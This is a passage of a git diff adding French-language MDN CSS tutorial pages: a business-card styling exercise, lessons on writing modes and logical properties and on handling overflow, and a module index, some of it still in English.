  • Récupérer et enregistrer le fichier HTML de l'exercice ainsi que le fichier image associé dans un nouveau répertoire local sur votre ordinateur. Si vous voulez utiliser un fichier image de votre cru et mettre votre nom, vous êtes libre — assurez vous simplement que l'image soit de forme carrée.
    • +
  • Enregistrez le fichier texte des ressources de la CSS — il contient un jeu de sélecteurs et de règles bruts que vous devrez étudier et combiner pour répondre à certaines parties de cet exercice.
    • +
+ +
+

Note : À défaut, vous pouvez utiliser un site comme JSBin ou Thimble pour faire votre exercice. Collez le HTML et complétez la CSS dans un de ces éditeurs en ligne. Utilisez cet URL pour faire pointer l'élément <img> sur le fichier correspondant. Si l'éditeur en ligne que vous utilisez ne comporte pas de panneau séparé pour la CSS, mettez‑le dans un élément <style> dans l'élément head du document.

+
+ +

Énoncé du projet

+ +

Avec le HTML brut et une image, vous devez écrire le CSS voulu pour composer une jolie petite carte de visite en ligne ; elle pourrait aussi peut‑être servir de carte de joueur ou de profil de média social. Les paragraphes suivants indiquent ce que vous devez faire.

+ +

Construction de base :

+ +
    +
  • Au préalable, créez un nouveau fichier dans le même répertoire que celui des fichiers HTML et image. Nommez‑le avec beaucoup d'imagination quelque chose comme style.css.
    • +
  • Liez la CSS à votre fichier HTML par l'intermédiaire d'un élément <link>.
    • +
  • Les deux premières règles du fichier de ressources de la CSS sont pour vous, GRATUITEMENT ! Après vous être réjoui de votre chance, copiez et collez-les au haut  de votre nouveau fichier CSS. Utilisez-les comme un test pour vous assurer que la CSS sera correctement appliquée à votre HTML.
    • +
  • Au-dessus des deux règles, commentez la CSS d'un court texte pour indiquer qu'il s'agit de styles généraux pour l'ensemble de la page. « Styles généraux pour la page »  fait l'affaire. Ajoutez également trois autres commentaires au bas du fichier CSS pour indiquer les styles spécifiques à la configuration du conteneur de carte, les styles propres de l'en-tête et du pied de page et les styles dédiés au contenu principal de la carte de visite. A partir de maintenant, les styles ajoutés à la CSS devront être placés à l'endroit approprié.
    • +
+ +

Considérations sur les sélecteurs et les jeux de règles founis dans le fichier des ressources CSS :

+ +
    +
  • Ensuite, regardez les quatre sélecteurs et calculez la spécificité de chacun. Notez-les quelque part où vous pourrez les retrouver plus tard, par exemple dans un commentaire en haut de votre CSS.
    • +
  • Maintenant, mettez le bon sélecteur avec le bon jeu de règles ! Vous avez quatre paires sélecteurs régles qui correspondent dans les ressources CSS. Faites cela maintenant et ajoutez‑les dans le fichier de la CSS. Il faut que : +
      +
    • entre autres choses, le conteneur de carte principale ait une largeur et une hauteur fixes, une couleur de fond unie, un encadrement et un rayon d'encadrement (des coins arrondis !).
      • +
    • l'en‑tête ait un gradient d'arrière‑plan allant du plus soutenu au plus léger, plus des coins arrondis correspondant à ceux du conteneur de la carte principale.
      • +
    • le pied ait un  gradient d'arrière‑plan allant du plus léger au plus soutenu, plus des coins arrondis correspondant à ceux du conteneur de la carte principale.
      • +
    • l'image soit placée sur la droite de façon à toucher le côté droit du contenu de la carte de visite en lui donnant une hauteur maximale de 100% (une astuce assurant qu'elle aura toujours la même hauteur que son conteneur parent, quelle que soit la hauteur qu'on lui donne).
      • +
    +
    • +
  • Attention ! Il y a deux erreurs dans les règles fournies. En utilisant n'importe quelle technique connue, repérez-les et corrigez-les avant de poursuivre.
    • +
+ +

Nouveaux jeux de règles à écrire :

+ +
    +
  • Écrire un jeu de règles ciblant à la fois l'en-tête et le pied de page de la carte pour leur  donner une hauteur totale calculée de 50px ( y compris une hauteur de contenu de 30px et un remplissage de 10px sur tous les côtés). Mais exprimez‑le en em.
    • +
  • La marge par défaut appliquée aux éléments <h2> et <p> par le navigateur interfère avec la composition, alors écrivez une règle ciblant tous ces éléments et fixant leur marge à 0.
    • +
  • Pour éviter que l'image ne déborde du contenu principal de la carte de visite (l'élément <article>), nous devons lui donner une hauteur spécifique. Réglez la hauteur de <article> à 120px, mais exprimez‑la en em. Donnez-lui aussi une couleur de fond de noir semi-transparent, ce qui donne une nuance légèrement plus foncée qui permet à la couleur rouge de l'arrière-plan de briller un peu aussi.
    • +
  • Écrivez un jeu de règles qui donne à <h2> une taille de police effective de 20px (mais exprimée en em) et une hauteur de ligne appropriée pour la placer au centre de la boîte de contenu de l'en-tête. Rappelez-vous que la hauteur de la boîte de contenu doit être de 30px — vous avez là toutes les données dont vous avez besoin pour calculer la hauteur de ligne.
    • +
  • Écrivez un jeu de règles qui donne à <p> dans le pied de page une taille de police effective de 15px (mais exprimée en em) et une hauteur de ligne appropriée pour la placer au centre de la boîte de contenu du pied de page. Rappelez-vous que la hauteur de la boîte de contenu doit être de 30px — vous avez là toutes les données dont vous avez besoin pour calculer la hauteur de ligne.
    • +
  • Comme dernière petite touche, donnez au paragraphe à l'intérieur de <article> une valeur de remplissage appropriée pour que son bord gauche soit aligné avec le paragraphe <h2> et le paragraphe de pied de page ; réglez sa couleur pour qu'elle soit assez claire afin d'être facile à lire.
    • +
+ +
+

Note : Gardez présent à l'esprit que le 2e jeu de règles définit font-size: 10px; pour l'élément <html> — cela signifie que pour tous les enfants de <html>, un em vaudra 10px et non 16px comme c'est le cas par défaut (ceci bien sûr, à condition que les enfants en question n'aient pas de parents ayant un font-size différent placés entre eux et <html> dans la hiérarchie. Les valeurs dont vous avez besoin pourraient en être affectées, bien que dans cet exemple simple, ce ne soit pas un problème).

+
+ +

Autres choses à prendre en considération :

+ +
    +
  • Vous aurez des points de bonus si vous écrivez la CSS avec une déclaration séparée sur chaque ligne pour une lisibilité maximale.
    • +
  • Vous devriez mettre .card en début de chaîne de sélecteur dans toutes les règles pour qu'elles n'interfèrent pas avec le style d'autres éléments si la carte de visite doit être placée sur une page chargeant d'autres contenus.
    • +
+ +

Conseils et astuces

+ +
    +
  • Il n'est pas nécessaire de modifier le HTML en quoi que ce soit, sauf pour lui appliquer la CSS.
    • +
  • Quand vous calculez le nombre de pixels correspondant à la valeur em dont vous avez besoin, pensez à la taille de police de base de l'élément racine (<html>), et ce par quoi il doit être multiplié pour obtenir la valeur désirée. Cela vous donnera la valeur de em, au moins dans un cas simple comme celui-ci.
    • +
+ +

Exemple

+ +

La capture d'écran suivante montre un exemple de ce à quoi devrait ressembler la composition terminée :

+ +

A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image.

+ +

 

+ +

Évaluation

+ +

Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur  le fil de discussion à propos de cet exercise ou par l'intermédiaire du canal IRC #mdn sur Mozilla IRC. Faites l'exercice d'abors, il n'y rien à gagner en trichant !

+ +

{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Apprendre/CSS/Introduction_à_CSS")}}

+ +

 

+ +

Dans ce module

+ + diff --git a/files/fr/learn/css/building_blocks/handling_different_text_directions/index.html b/files/fr/learn/css/building_blocks/handling_different_text_directions/index.html new file mode 100644 index 0000000000..7469a614ce --- /dev/null +++ b/files/fr/learn/css/building_blocks/handling_different_text_directions/index.html @@ -0,0 +1,155 @@ +--- +title: Handling different text directions +slug: Apprendre/CSS/Building_blocks/Handling_different_text_directions +translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
+ +

Beaucoup des propriétés et des valeurs que nous avons rencontrées jusqu'ici dans notre apprentissage du CSS ont été associées aux dimensions physiques de notre écran. Nous créons des bordues en haut, à droite, en bas et à gauche d'une box, par exemple. Ces dimensions physiques s'accordent très bien au contenu qui est visionné horizontalement, et par défaut le web à tendance à mieux supporter les langues qui se lisent de gauche à droite (par exemple l'anglais ou le Français) que celles qui se lisent de droite à gauche (comme l'Arabe).

+ +

Ces dernières années cependant, le CSS a évolué pour supporter du contenu orienté dans différentes directions, comme la droite vers la gauche, mais également le haut vers le bas (comme le Japonais) — Ces différentes directionnalités sont appelées writing modes (modes d'écriture en français). En progressant dans votre apprentissage et en travaillant sur l'agencement, une compréhension des modes d'écriture vous sera très utile, donc nous allons vous les présenter maintenant.

+ + + + + + + + + + + + +
Prerequisites:Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.)
Objective:To understand the importance of writing modes to modern CSS.
+ +

Que sont les modes d'écritures?

+ +

Un mode d'écriture en CSS fait référence au sens d'écriture du texte, soit horizontalement, soit verticalement. La propriété {{cssxref("writing-mode")}} nous permet de passer d'un mode d'écriture à un autre. Vous n'avez pas besoin de travailler dans une langue qui utilise un mode d'écriture vertical pour vouloir l'utiliser — vous pourriez aussi changer le mode d'écriture de certaines parties de votre agencement dans un but créatif.

+ +

Dans l'exemple ci-dessous nous avons un titre affiché qui utilise writing-mode: vertical-rl. Le texte est maintenant affiché verticalement. Les textes verticaux sont communs dans le design graphique, et peuvent être un moyen pour ajouter un look plus intéressant à votre design web.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}

+ +

Les trois valeurs possibles pour la propriété writing-mode sont:

+ +
    +
  • horizontal-tb: Top-to-bottom block flow direction. Sentences run horizontally.
    • +
  • vertical-rl: Right-to-left block flow direction. Sentences run vertically.
    • +
  • vertical-lr: Left-to-right block flow direction. Sentences run vertically.
    • +
+ +

So the writing-mode property is in reality setting the direction in which block-level elements are displayed on the page — either from top-to-bottom, right-to-left, or left-to-right. This then dictates the direction text flows in sentences.

+ +

Writing modes and block and inline layout

+ +

We have already discussed block and inline layout, and the fact that some things display as block elements and others as inline elements. As we have seen described above, block and inline is tied to the writing mode of the document, and not the physical screen. Blocks are only displayed from the top to the bottom of the page if you are using a writing mode that displays text horizontally, such as English.

+ +

If we look at an example this will become clearer. In this next example I have two boxes that contain a heading and a paragraph. The first uses writing-mode: horizontal-tb, a writing mode that is written horizontally and from the top of the page to the bottom. The second uses writing-mode: vertical-rl; this is a writing mode that is written vertically and from right to left.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}

+ +

When we switch the writing mode, we are changing which direction is block and which is inline. In a horizontal-tb writing mode the block direction runs from top to bottom; in a vertical-rl writing mode the block direction runs right-to-left horizontally. So the block dimension is always the direction blocks are displayed on the page in the writing mode in use. The inline dimension is always the direction a sentence flows.

+ +

This figure shows the two dimensions when in a horizontal writing mode.Showing the block and inline axis for a horizontal writing mode.

+ +

This figure shows the two dimensions in a vertical writing mode.

+ +

Showing the block and inline axis for a vertical writing mode.

+ +

Once you start to look at CSS layout, and in particular the newer layout methods, this idea of block and inline becomes very important. We will revisit it later on.

+ +

Direction

+ +

In addition to writing mode we also have text direction. As mentioned above, some languages such as Arabic are written horizontally, but right-to-left. This is not something you are likely to use in a creative sense — if you simply want to line something up on the right there are other ways to do so — however it is important to understand this as part of the nature of CSS. The web is not just for languages that are displayed left-to-right!

+ +

Due to the fact that writing mode and direction of text can change, newer CSS layout methods do not refer to left and right, and top and bottom. Instead they will talk about start and end along with this idea of inline and block. Don't worry too much about that right now, but keep these ideas in mind as you start to look at layout; you will find it really helpful in your understanding of CSS.

+ +

Logical properties and values

+ +

The reason to talk about writing modes and direction at this point in your learning however, is because of the fact we have already looked at a lot of properties which are tied to the physical dimensions of the screen, and make most sense when in a horizontal writing mode.

+ +

Let's take a look at our two boxes again — one with a horizontal-tb writing mode and one with vertical-rl. I have given both of these boxes a {{cssxref("width")}}. You can see that when the box is in the vertical writing mode, it still has a width, and this is causing the text to overflow.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}

+ +

What we really want in this scenario, is to essentially swap height and width along with the writing mode. When we're in a vertical writing mode we want the box to expand in the block dimension just like it does in the horizontal mode.

+ +

To make this easier, CSS has recently developed a set of mapped properties. These essentially replace physical properties — things like width and height — with logical, or flow relative versions.

+ +

The property mapped to width when in a horizontal writing mode is called {{cssxref("inline-size")}} — it refers to the size in the inline dimension. The property for height is named {{cssxref("block-size")}} and is the size in the block dimension. You can see how this works in the example below where we have replaced width with inline-size.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}

+ +

Logical margin, border, and padding properties

+ +

In the last two lessons we have learned about the CSS box model, and CSS borders. In the margin, border, and padding properties you will find many instances of physical properties, for example {{cssxref("margin-top")}}, {{cssxref("padding-left")}}, and {{cssxref("border-bottom")}}. In the same way that we have mappings for width and height there are mappings for these properties.

+ +

The margin-top property is mapped to {{cssxref("margin-block-start")}} — this will always refer to the margin at the start of the block dimension.

+ +

The {{cssxref("padding-left")}} property maps to {{cssxref("padding-inline-start")}}, the padding that is applied to the start of the inline direction. This will be where sentences start in that writing mode. The {{cssxref("border-bottom")}} property maps to {{cssxref("border-block-end")}}, which is the border at the end of the block dimension.

+ +

You can see a comparison between physical and logical properties below.

+ +

If you change the writing mode of the boxes by switching the writing-mode property on .box to vertical-rl, you will see how the physical properties stay tied to their physical direction, whereas the logical properties switch with the writing mode.

+ +

You can also see that the {{htmlelement("h2")}} has a black border-bottom. Can you work out how to make that bottom border always go below the text in both writing modes?

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}

+ +

There are a huge number of properties when you consider all of the individual border longhands, and you can see all of the mapped properties on the MDN page for Logical Properties and Values.

+ +

Logical values

+ +

We have so far looked at logical property names. There are also some properties that take physical values of top, right, bottom, and left. These values also have mappings, to logical values — block-start, inline-end, block-end, and inline-start.

+ +

For example, you can float an image left to cause text to wrap round the image. You could replace left with inline-start as shown in the example below.

+ +

Change the writing mode on this example to vertical-rl to see what happens to the image. Change inline-start to inline-end to change the float.

+ +

{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}

+ +

Here we are also using logical margin values to ensure the margin is in the correct place no matter what the writing mode is.

+ +
+

Currently, only Firefox supports flow relative values  for float. If you are using Google Chrome or Microsoft Edge, you may find that the image did not float.

+
+ +

Should you use physical or logical properties?

+ +

The logical properties and values are newer than their physical equivalents, and therefore have only recently been implemented in browsers. You can check any property page on MDN to see how far back the browser support goes. If you are not using multiple writing modes then for now you might prefer to use the physical versions. However, ultimately we expect that people will transition to the logical versions for most things, as they make a lot of sense once you start also dealing with layout methods such as flexbox and grid.

+ +

Test your skills!

+ +

We have covered a lot in this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see Test your skills: writing modes.

+ +

Summary

+ +

The concepts explained in this lesson are becoming increasingly important in CSS. An understanding of the block and inline direction — and how text flow changes with a change in writing mode — will be very useful going forward. It will help you in understanding CSS even if you never use a writing mode other than a horizontal one.

+ +

In the next module we will take a good look at overflow in CSS.

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}

+ +

In this module

+ +
    +
  1. Cascade and inheritance
    2. +
  2. CSS selectors + +
    3. +
  3. The box model
    4. +
  4. Backgrounds and borders
    5. +
  5. Handling different text directions
    6. +
  6. Overflowing content
    7. +
  7. Values and units
    8. +
  8. Sizing items in CSS
    9. +
  9. Images, media, and form elements
    10. +
  10. Styling tables
    11. +
  11. Debugging CSS
    12. +
  12. Organizing your CSS
    13. +
diff --git a/files/fr/learn/css/building_blocks/index.html b/files/fr/learn/css/building_blocks/index.html new file mode 100644 index 0000000000..37ab79216a --- /dev/null +++ b/files/fr/learn/css/building_blocks/index.html @@ -0,0 +1,78 @@ +--- +title: Blocs de base en CSS +slug: Apprendre/CSS/Building_blocks +tags: + - CSS + - Débutant + - Tutoriel +translation_of: Learn/CSS/Building_blocks +--- +
{{LearnSidebar}}
+ +

Ce cours fait suite aux premiers pas avec CSS : vous avez déjà acquis une bonne familiarité avec le langage et sa syntaxe, avec déjà des expériences d'utilisation de CSS. Il est donc temps d'approfondir le sujet. On examine ici les principes de cascade et d’héritage, tous les types de sélecteurs à notre disposition, les unités, le dimensionnement, les arrière-plans de style et les limites, le débogage, et bien d'autres choses.
+
+ L'objectif est d'introduire les outils qui feront de vous un utilisateur CSS compétent avec une bonne compréhension du cœur de la théorie CSS. Nous étudierons plus tard des sujets plus spécifiques comme le style de texte et la mise en page CSS.

+ +

Prérequis

+ +

Avant de commencer ce cours, nous vous recommandons :

+ +
    +
  1. D'être familiarisé avec l'usage des ordinateurs et avec la navigation sur internet.
    2. +
  2. De disposer d'un environnement de travail comme il est décrit dans l'article installation des outils de base et de savoir créer et gérer des fichiers (cf. leçon gérer les fichiers).
    3. +
  3. D'être suffisamment à votre aise avec HTML (voir le cours introduction au HTML).
    4. +
  4. D'avoir compris les bases du CSS telles qu'exposées dans le cours premiers pas avec CSS.
    5. +
+ +
+

Note : Si vous travaillez sur un ordinateur, une tablette ou tout autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pourrez tester (la plupart) des exemples de code dans un site de programmation en ligne comme JSBin ou Thimble.

+
+ +

Guides

+ +

Les articles qui composent ce module traitent la majeure partie du langage CSS. En les parcourant, vous découvrirez de nombreux exercices qui vous permettront d'évaluer votre bonne compréhension.

+ +
+

Note : Les articles dont le titre apparaît en anglais ne sont pas encore traduits au moment de la traduction de la page que vous lisez.

+
+ +
+
Cascade and inheritance (Cascade et héritage)
+
Le but de cette leçon est de vous permettre d'acquérir des concepts fondamentaux du CSS : la cascade, la spécificité et l'héritage... et ainsi d'apprendre comment le CSS s'applique au HTML, et comment les conflits se résolvent.
+
CSS selectors (sélecteurs CSS)
+
Il y a une large palette de sélecteurs CSS disponibles permettant avec une fine granularité de désigner les éléments auxquels appliquer des styles. Dans cet article, nous verrons avec moult détails comment ces différents types de sélecteurs fonctionnent, au travers de plusieurs parties : + +
+
The box model (le modèle des boîtes)
+
Tout en CSS a une boîte autour de lui, et comprendre ces boîtes est la clef pour être capable de créer des mises en page avec CSS, ou d'aligner des éléments avec d'autres. Dans cette leçon, nous nous attarderons sur le modèle de boîte CSS, afin que vous puissiez passer à des mises en page plus complexes grâce à une meilleure compréhension du fonctionnement et de la terminologie.
+
Backgrounds and borders (arrières-plans et bordures)
+
Dans cette leçon, nous illustrerons des usages créatifs des arrières-plans et bordures en CSS. Des dégradés, des images de fond, des coins arrondis.... les arrières plans et les bordures sont les réponses à de nombreuses questions de style en CSS.
+
Handling different text directions (manipuler les différentes directions du texte)
+
Ces dernières années, le CSS a évolué afin de permettre aux contenus de prendre des directions différentes ; pas seuleument de droite à gauche mais aussi de haut en bas (comme au Japon) ; ces différentes directions sont appelées modes d'écriture (writing modes). Comme vous progressez dans l'étude du CSS et commencez à travailler la mise en page, la compréhension des modes d'écriture vous sera fort utile, c'est pour cela que nous vous les présentons dans cet article. .
+
Overflowing content (quand ça dépasse)
+
Autre concept important du CSS: le dépassement (overflow) : c'est ce qui se passe quand il y a trop de contenu pour qu'il puisse tenir dans la boîte. Dans cette leçon, vous apprendrez comment le gérer.
+
Values and units (valeurs et unités)
+
Toute propriété utilisée en CSS dispose de valeurs ou d'ensembles de valeurs autorisées pour cette propriété. Dans cette leçon, nous aborderons les valeurs et unités les plus communément utilisées.
+
Sizing items in CSS (dimensionner les éléments en CSS)
+
Dans plusieurs leçons précédentes, vous avez abordé plusieurs façons de dimensionner de nombreux éléments d'une page web en utilisant le CSS. Comprendre pour anticiper les tailles des composants de votre design est important. Dans cette leçon nous résumerons par quels différents biais les éléments sont dimensionnés en CSS et définirons quelques termes qui vous aideront à l'avenir.
+
Images, media, and form elements (images, médias et éléments de formulaires)
+
Dans cet article, nous verrons comment des éléments particuliers sont traités en CSS. Les images, les autres médias, ou encore le éléments de formulaires se comportent légèrement différement des boîtes habituelles lorsque vous souhaitez leur appliquer un style CSS. Comprendre ce qu'il est possible ou non de faire vous évitera d'éventuelles déceptions cette leçon soulignera ce qu'il vous faut savoir.
+
Mise en page des tableaux
+
Styliser un tableau HTML n'est pas le travail qui fait rêver, mais vous pouvez parfois avoir à le faire. Cet article vous guide pour réussir l'apparence de vos tableaux en soulignant les techniques spécifiques applicables.
+
Debugging CSS (déboguer le CSS)
+
Parfois, lorsque vous écrivez du CSS, le résultat n'est pas ce que vous attendiez. Cet article vous guidera pour déboguer un problème de CSS en vous montrant comment utiliser les outils de développement contenus dans tout navigateur moderne pour vous aider à trouver ce qui se passe.
+
Organizing your CSS (organiser votre CSS)
+
Au fur et à mesure que vous travaillerez sur des feuilles de style de plus en plus longues et des projets de plus en plus volumineux, vous découvrirez que maintenir un énorme fichier CSS peut être problématique. Dans cet article, nous aborderons les bonnes pratiques pour écrire votre CSS, le rendre facile à maintenir, et d'autres solutions pouvant vous aider à améliorer cette maintenabilité.
+
+ +

Voir aussi

+ +
+
Effets de boîte avancés
+
Cet article est un "trucs et astuces" vous fournissant un aperçu de fonctionnalités intéressantes comme l'ombre des boîtes, les mélanges de couleurs ou les filtres.
+
diff --git a/files/fr/learn/css/building_blocks/overflowing_content/index.html b/files/fr/learn/css/building_blocks/overflowing_content/index.html new file mode 100644 index 0000000000..3b13da9e6b --- /dev/null +++ b/files/fr/learn/css/building_blocks/overflowing_content/index.html @@ -0,0 +1,123 @@ +--- +title: Overflow - Débordements de contenu +slug: Apprendre/CSS/Building_blocks/Overflowing_content +translation_of: Learn/CSS/Building_blocks/Overflowing_content +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}
+ +

Dans ce cours nous allons étudier un autre concept important en CSS — overflow (débordement). Un overflow (débordement de contenu) correspond à ce qui se produit lorsque le contenu à insérer dans une boîte occupe trop d'espace pour s'y insérer confortablement. Dans ce guide vous allez apprendre à gérer cela.

+ + + + + + + + + + + + +
Prérequis:Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif:Comprendre le principe de l'overflow et comment le gérer.
+ +

Qu'est ce qu'un overflow?

+ +

Nous savons déjà qu'en CSS tout fonctionne par boîte, et que nous pouvons définir la taille de ces boîtes en leur donnant les valeurs  {{cssxref("width")}} et {{cssxref("height")}} (ou {{cssxref("inline-size")}} et {{cssxref("block-size")}}). Un overflow correspond à ce qui se produit lorsqu'il y a trop de contenu dans une boîte et que ce contenu ne s'y intègre pas confortablement. CSS propose différents outils pour gérer ce phénomène, c'est un concept utile à comprendre à ce stade. Vous allez rencontrer des cas d'overflow fréquemment en codant du CSS, particulièrement quand vous irez plus loin dans la mise en page avec CSS.

+ +

CSS essaie d'éviter les pertes de données

+ +

Commençons par observer deux exemples qui montrent comment CSS se comporte par défaut quand il y a un débordement de contenu.

+ +

Le premier est une boîte dont la dimension dans le bloc a été définie en lui donnant une valeur height. Nous lui avons ensuite ajouté plus de contenu qu'il n'y a d'espace disponible dans la boîte. Le contenu déborde de la boîte et chevauche de façon désordonnée le paragraphe situé sous la boîte.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}

+ +

Le second est un mot dans une boîte limitée sur la dimension inline. La boîte a été rendue trop petite pour que ce mot puisse s'y insérer et il déborde de la boîte.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}

+ +

Vous vous demandez peut-être pourquoi le CSS a adopté par défaut l'approche plutôt brouillonne consistant à faire déborder le contenu de manière désordonnée ? Pourquoi ne pas cacher le contenu supplémentaire, ou faire grossir la boîte ?

+ +

Dans la mesure du possible, le CSS ne masque pas votre contenu ; le faire entraînerait des pertes de données, ce qui pose généralement problème. En termes de CSS, cela signifie que certains contenus disparaissent. Le problème de la disparition de contenu est que vous pourriez ne pas remarquer qu'il a disparu. Vos visiteurs également ne le remarqueront peut-être pas. Si c'est le bouton "Envoyer" d'un formulaire qui disparaît et que personne ne peut remplir ce formulaire, c'est un gros problème ! Au lieu de cela, le CSS a tendance à déborder de manière visible. Il est probable que vous verrez le désordre, ou au pire un visiteur de votre site vous fera savoir que certains contenus se chevauchent et qu'il faut donc les corriger.

+ +

Si vous avez défini une boîte avec des valeurs width ou height, CSS part du principe que vous savez ce que vous faîtes et que vous gérez le risque de débordement. En général, contraindre la dimension du bloc est problématique lorsque du texte va être mis dans une boîte, car il peut y avoir plus de texte que prévu lors de la conception du site ou que le texte peut être plus gros - par exemple si l'utilisateur a augmenté la taille de sa police.

+ +

Dans les deux prochaines leçons, nous examinerons différentes façons de contrôler la taille des éléments afin de limiter l'overflow. Cependant, si vous avez besoin d'une taille fixe, vous pouvez également contrôler le comportement du trop-plein. Voyons maintenant!

+ +

La propriété overflow

+ +

La propriété  {{cssxref("overflow")}} est la façon dont vous prenez le contrôle du débordement d'un élément et dîtes au navigateur comment vous voulez qu'il se comporte. La valeur par défaut est visible, c'est pourquoi, par défaut, nous pouvons voir notre contenu quand il déborde.

+ +

Si vous souhaitez recadrer le contenu qui déborde, vous pouvez définir overflow: hidden pour votre boîte. Cela fera exactement ce qui est indiqué — cacher le débordement. Vous ne devez donc le faire que si la disparition du contenu ne pose pas de problème.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}

+ +

Peut-être préféreriez-vous ajouter des barres de défilement lorsque le contenu déborde ? Si vous utilisez overflow: scroll alors votre navigateur ajoutera systématiquement des barres de défilement — même s'il n'y a pas assez de contenu pour faire défiler. Vous pourriez le souhaiter, car cela empêche l'apparition et la disparition des barres de défilement en fonction du contenu.

+ +

Si vous retirez du contenu de la boîte ci-dessous, vous constaterez que les barres de défilement restent même s'il n'y a rien à faire défiler.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}

+ +

Dans l'exemple ci-dessus nous n'avons besoin de faire défiler que l'axe y, cependant nous avons des barres de défilement sur les deux axes. Vous pourriez utiliser à la place la propriété {{cssxref("overflow-y")}}, qui définit overflow-y: scroll afin de faire défiler uniquement sur l'axe y.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}

+ +

Vous pourriez également faire défiler sur l'axe x en utilisant {{cssxref("overflow-x")}}, bien que ce ne soit pas une méthode recommandée pour gérer les longs mots ! Si vous avez besoin de gérer un long mot dans une petite boîte alors vous pourriez vous tourner vers les propriétés {{cssxref("word-break")}} ou {{cssxref("overflow-wrap")}}. En complément, certaines méthodes présentées dans le cours Définir la taille des éléments en CSS peuvent vous aider à créer des boîtes qui s'adapteront mieux à des quantités variables de contenu.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}

+ +

Comme pour scroll, une barre de défilement apparaîtra sur l'axe sélectionné qu'il y ait suffisamment de contenu ou pas pour créer un défilement.

+ +
+

Note: vous pouvez spécifier le défilement x et y simultanément en utilisant la propriété overflow en déclarant deux valeurs. Si deux mots clés sont spécifiés , le premier s'applique à overflow-x et le second à overflow-y. Sinon, overflow-x et overflow-y sont définis sur la même valeur. Par exemple, overflow: scroll hidden définira overflow-x sur scroll et overflow-y sur hidden.

+
+ +

Si vous souhaitez que les barres de défilement n'apparaissent que si il y a plus de contenu que la boîte ne peut en contenir, utilisez overflow: auto. Dans ce cas c'est le navigateur qui décidera d'afficher ou non les barres de défilement. Les navigateurs Desktop ne le font généralement que lorsqu'il y a suffisamment de contenu pour provoquer un débordement.

+ +

Dans l'exemple ci-dessous, retirez du contenu jusqu'à ce que ça rentre dans la boîte et vous devriez voir les barres de défilement disparaître.

+ +

{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}

+ +

Overflow crée un "Block Formatting Context"

+ +

Il existe un concept dans le CSS de "Block Formatting Context" (BFC). Ce n'est pas quelque chose dont vous devez trop vous préoccuper pour l'instant, mais il est utile de savoir que lorsque vous utilisez une valeur d'overflow comme scroll ou auto vous créez un BFC. Le résultat est que le contenu de la boîte pour laquelle vous avez modifié la valeur de overflow devient une mini mise en page à part entière. Les éléments extérieurs au conteneur ne peuvent pas pénétrer dans le conteneur, et rien ne peut sortir de cette boîte pour pénétrer dans la mise en page qui l'entoure. Cela permet d'activer le défilement, car tout le contenu de votre boîte devra être intégré et ne pas chevaucher d'autres éléments de la page afin de créer une expérience de défilement cohérente.

+ +

Débordements indésirables en web design

+ +

Les méthodes de mise en page modernes (comme étudiées dans le module La mise en page avec le CSS) gèrent très bien l'overflow. Elles ont été conçues pour faire face au fait que nous avons tendance à ne pas pouvoir prévoir la quantité de contenu que nous aurons sur le web. Par le passé, les développeurs utilisaient souvent des hauteurs fixes pour aligner le bas des boîtes qui n'avaient pas vraiment de relation entre elles. C'était une méthode fragile et il peut arriver qu'occasionnellement, dans une application ancienne, vous soyez confrontés à une boîte dans laquelle le contenu déborde sur la suite de la page. Si vous observez ce phénomène, vous savez maintenant qu'il s'agit d'un overflow ; idéalement vous devriez remanier la mise en page afin de ne pas avoir à contraindre la taille de la boîte.

+ +

Lorsque vous développez un site, vous devez toujours garder à l'esprit les problèmes d'overflow. Vous devez tester des conceptions avec des quantités de contenu importantes et réduites, augmenter la taille de la police et vous assurer que votre CSS peut s'en sortir de manière efficace. La modification de la valeur d'overflow pour masquer le contenu ou ajouter des barres de défilement ne sera probablement réservée qu'à quelques rares cas particuliers - par exemple lorsque vous voulez spécifiquement une barre de défilement.

+ +

Testez-vous!

+ +

Nous avons couvert beaucoup de choses dans cet article, mais pouvez-vous vous souvenir des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien retenu ces informations avant de partir - voir (en anglais) Testez vos compétences: overflow.

+ +

Résumé

+ +

